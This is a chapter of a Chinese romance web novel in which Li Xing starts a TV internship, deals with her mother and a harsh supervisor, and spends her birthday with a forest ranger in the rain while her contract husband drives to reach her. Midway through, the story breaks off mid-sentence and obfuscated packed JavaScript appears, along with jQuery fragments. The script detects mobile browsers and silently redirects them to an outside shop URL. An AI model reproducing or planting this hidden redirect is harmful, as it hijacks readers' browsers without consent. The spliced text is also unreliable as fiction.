27. 27

作品:《只是和前男友领了证

    把手机揣回口袋。


    消息响了。


    谢承:可以打视频。


    黎杏:(OK)


    这个表情,足够表现她的不在意。


    正式实习前,她去了趟医院,谭松恢复得不错,可以下床活动,晒太阳,能吃点正常的食物,还有一周可以出院,到那时高考正好结束,九号,也是她生日。


    她在外面几年,给自己过生日,就是吃顿烤肉,然后美美睡一觉。


    支教的时候没有这个条件,就去镇上买一个很大的蛋糕,老式的那种,奶油上裱着红花,带到学校,师生分着吃,孩子们唱生日歌的时候,她会不好意思,开心也是真开心。


    “姐,你最近看上去很有精神。”


    “是吗?”黎杏坐在床边,削苹果皮,“你看上去也不赖。”


    谭松捏着笔,画窗外的树。


    夏天到了,阳光明朗,树叶绿油油的。


    黎杏把削好的苹果,切成块,递给谭松,两个人拿着牙签分着吃。


    谭莲回来了,看见女儿在,想说几句贴心话,黎杏站起来:“我还有事,先走了。”


    “笑笑,你房子租在哪里?我有时间做点你喜欢吃的菜送过去。”


    她已经不太会面对这样的亲近。


    “我跟男人住在一起。”


    “谁?”谭莲被女儿这句话惊到,心里担忧,“妈妈认识吗?”


    谭松愣愣地看着俩人。


    “不认识,所以你过去也不方便。”


    “是男朋友还是舍友?”


    黎杏语气平静:“妈,我说过了,我的事你以后不要管。”


    她快步离开病房,呼气,有时候她也会想,难道一辈子跟自己的母亲就这样了?


    可是只要一亲近,好像在某种博弈中,她就败下阵来。


    大半夜,她躺在床上,酝酿困意。


    谢承打过来了。


    黎杏坐起来,整理头发,保持表情自然,接通,屏幕被男人的上半身挡住,浴袍微敞,露出结实的胸肌,上面好像还有水珠。


    然后是他的声音:“能看见吗?”


    “看不见。”黎杏对着屏幕,怪不好意思,“镜头往上一点。”


    在她的指挥下,男人英俊的脸怼到她眼前。


    很明显,在用笔记本跟她视频通话。


    “不是要打给我?”


    “我打给别人了,跟你又没话说。”


    谢承坐下,冷淡的眸子摄住她,四目相对,在昏暗的房间里,黎杏心跳有点快。


    “那我挂了。”


    “别、我——”


    “什么?”


    “你九号能回来吗?”


    “不太能,那天是有什么事?”


    黎杏撇撇嘴:“没有,就是过两天我要去电视台实习,跟你说一声。”


    “这个你说过了。”


    “是吗?我忘了,主要是怕跟你的事耽搁,所以以后有安排,得提前告诉我,我们那个总监很麻烦的,跟魔鬼一样。”


    “不要紧。”谢承喝了口水,声音有点哑,“以你自己的事为主。”


    “可是你看,我头发要染回去了。”


    总是忍不住跟他说这样无聊的小事。


    “不想染吗?”


    “因为有人说好看。”


    黎杏低垂着眼,声音小到谢承没听清。


    还想多说几句,他那边有电话打进来,视频中断。


    作为实习生,黎杏穿得低调。


    蓝色衬衫,灰色中长百褶裙,舒服自然,在出租车上,司机以为她是大学生。


    安排给她的工作不难,就是比较繁杂,上午接热线,详细记录,分类归档新闻素材,下午跟外景拍摄采访,回来剪辑视频,加字幕……


    很多事,随叫随到,端茶倒水打印也不能少。


    有规矩,说新来的实习生,要给部门同事买奶茶,《都市新闻》从上到下差不多二十多人,黎杏没好意思一个个去问,茶水间各种饮料咖啡也齐全。


    这要是刚毕业的大学生,简直大出血,再说,她实习也没工资呢。


    思来想去。


    黎杏还是点了,实际行动起来也不麻烦,顺便在短时间内跟一圈人混了个脸熟。


    “听说你面试怼了秦总监?”


    “怎么做到的,教教我,我每天做梦都想这么干。”


    黎杏完全不想因为这件事被大家认识,只能是另外两位面试官透露的秘密,而且她也没有“怼”啊,说出去多不好,本来秦渡就看她不顺眼。


    “没有啦。”黎杏狡辩道,“我没那个胆子。”


    “其实我们秦总监一开始还挺好的,只解决问题,不解决下属,前几年去了趟五台山,回来后跟老婆离婚了,脾气就越来越差。”


    “……”


    五台山啊,五台山她也去过,太累了,一时兴起报了个徒步团,中途差点被丢掉,再也不去了。


    黎杏并不关心上司的婚恋状况,随口附和:“原来这样啊,看来感情受到了打击。”


    “我们也是这么想的,但你别看秦总监三十五了,他还是挺有成熟精英男人的魅力,不少人喜欢他呢。”


    黎杏不懂:“你刚不还想怼他吗?”


    “这是两回事。”同事笑笑,八卦道,“你有男朋友没有?”


    简历上是已婚,同事不知道,她也觉得没必要说,正好有人叫她。


    “黎杏,秦总监叫你去趟他办公室。”


    “?”黎杏心里一咯噔,“哦,好的。”


    心情忐忑,黎杏敲门进去,挤出微笑,强装镇定:“秦总监,您找我?”


    不秒的预感。


    秦渡把一份文件递给她:“这是之前被毙掉的选题,采访山区的护林员,你应该很乐意去做。”


    被淘汰的选题,意味着不会被报道,耽误她这位实习生的时间,倒是没问题,但是耽误对方的时间,就有点不负责任。


    她把自己的顾虑说出口,秦渡目光扫过她细长的脖颈,语气带着明显的鄙夷:“让你做有让你做的道理,不是每一篇报道最后都会落实,这点你最好趁早明白。”


    “好的。”黎杏乖乖问道,“还有别的事情吗?”


    秦渡看着她,半晌:“我的奶茶呢?”


    黎杏愣了一下,不可置信:“我以为秦总监格调比较高雅,不爱喝年轻人喜欢喝的东西。”


    “你的意思是我很老?”


    “没有,绝对没有,秦总监你不要——”


    “出去。”


    黎杏麻溜地跑了。


    忙了一天,黎杏实在没心情做饭,点了外卖,给乖乖弄了晚餐,去酒吧给沈老师捧场。


    新来的调酒师会花式,这点比她厉害。


    沈之灵坐在高脚凳上,怀里抱着吉他,吊带短裤,随性火辣,黎杏坐在下面,投入其中,听到旁边两个男人不正经的语气:“腿倒是长,就是胸小了点,可惜这张脸了。”


    他们在说沈之灵,真恶心,真不要脸,黎杏不爽,回头道:“你们很大?”


    “……”


    沈之灵换歌:


    你还怕大雨吗,是不是还留短头发。


    结束,沈之灵起身调整椅子,黎杏目光顿住,看见朋友脖子后面红红的一块,有牙印,咬出来的痕迹。


    黎杏心里犯嘀咕。


    休息的时候,问沈之灵脖子后面怎么了,沈之灵不知道留了印子,想起昨晚回去被人堵在楼梯间,解散头发淡定道:“被害虫咬了。”


    “害虫?”


    “我报警了,在反思吧。”


    沈之灵记得黎杏生日,问


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17244065|196245||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她后天怎么过,黎杏无奈道:“我明天要去山里,后天才能回来,生日就不过了。”


    “去山里工作?”


    “对,采访护林员,拍摄点素材。”


    “你工作挺辛苦。”


    “比我辛苦的人多了,慢慢熬。”


    沈之灵好奇道:“今晚还是你丈夫来接吗?”


    “他不在家。”


    “你们怎么样?”


    黎杏憋半天,脸色不自在:“该怎么说,我怎么都不会想到,跟他有相敬如宾这一天。”


    沈之灵沉吟:“如果没有感情,这样做夫妻,是不是也挺好的?”


    “暂时感觉是还不错。”黎杏说心里话,凑到沈之灵耳边,“就是不在一起睡觉。”


    沈之灵面不改色:“你可以跟他提,婚姻期间,丈夫应该满足妻子的生理需——”


    “小点声嘛。”黎杏捂住她嘴巴,脸都红了,“这种事情,我一向不求人。”


    沈之灵笑了。


    -


    六月,江南多雨,雨水泛滥,道路小桥都被淹没,更不用说山里,泥泞难行。


    黎杏穿了一双到膝盖的雨鞋,撑着伞到护林员任奶奶的小屋里,小屋很干净,门前有片菜园,夏天有茄子,豇豆,还有扁豆和丝瓜,扁豆花是紫色的,丝瓜花是黄色的,很漂亮,只是雨水打下来,花瓣都蜷缩着落在泥土里。


    任奶奶炒了红烧茄子,辣椒炒鸡蛋,因为她来,还从山下的集市买了只鸡。


    “丫头,电视台就叫你一个人过来?”


    “是,节目就派了我一个人。”


    她以为任奶奶觉得电视台对此不重视,却没想到任奶奶是觉得她一个人过来太辛苦。


    对于这个世界上淳朴高尚的人,黎杏往往说不出花哨的台词。


    一张小桌子,两个板凳,外面雨声滴滴答答,黎杏吃完饭,撑着伞陪任奶奶巡山。


    晚上,就跟任奶奶聊天,算是采访,从过去聊到现在,越是深入了解,黎杏越是觉得,任奶奶的故事,对这片山林的守护,应该报道出去。


    “您一个人身体不好,儿女不经常回来吗?”


    “他们在城市里也不容易。”


    闷雷作响,黎杏坐在堂屋,打算熬夜把稿子整理出来,新闻要赶时间,赶效率。


    房间里是任奶奶接连不断的咳嗽声。


    雨下得太大了,照这样倾盆的雨势,且不说明天能不能下山,黎杏担心会有暴雨山洪的灾害。


    到零点了。


    她的生日。


    黎杏合上笔记本,拿出手机,信号很差,收到沈之灵的一条生日祝福。


    在雨声中,她感到一种无法回避的冷清孤独,眼底微微发涩。


    中午到山里,她给谢承发了位置,发这些无关的消息,是想引起他的在意,也许他会想起来,出于协议夫妻表面恩情,给她发一句生日快乐,她也是高兴的。


    黎杏鼓起勇气,打过去。


    谢承接通:“怎么了?”


    “我在山里,雨下很大。”


    听到他的声音,黎杏有点小情绪,声音不稳。


    谢承听出来了:“早点睡。”


    “睡不着,在写稿子。”黎杏听那边的声音,“你在开车吗?”


    “嗯,开车回家。”


    她不舍得挂电话。


    谢承:“山上在打雷?”


    “对,不过雷声还好。”


    “害怕?”


    其实不怕,屋子里干净温暖。


    “怕。”


    手机那头陷入沉默。


    被识破了,黎杏心里想,她算是说谎。


    “还有两个小时。”


    低沉的声音落在她耳边。


    “什么两小时?”


    谢承轻笑:“到你身边。”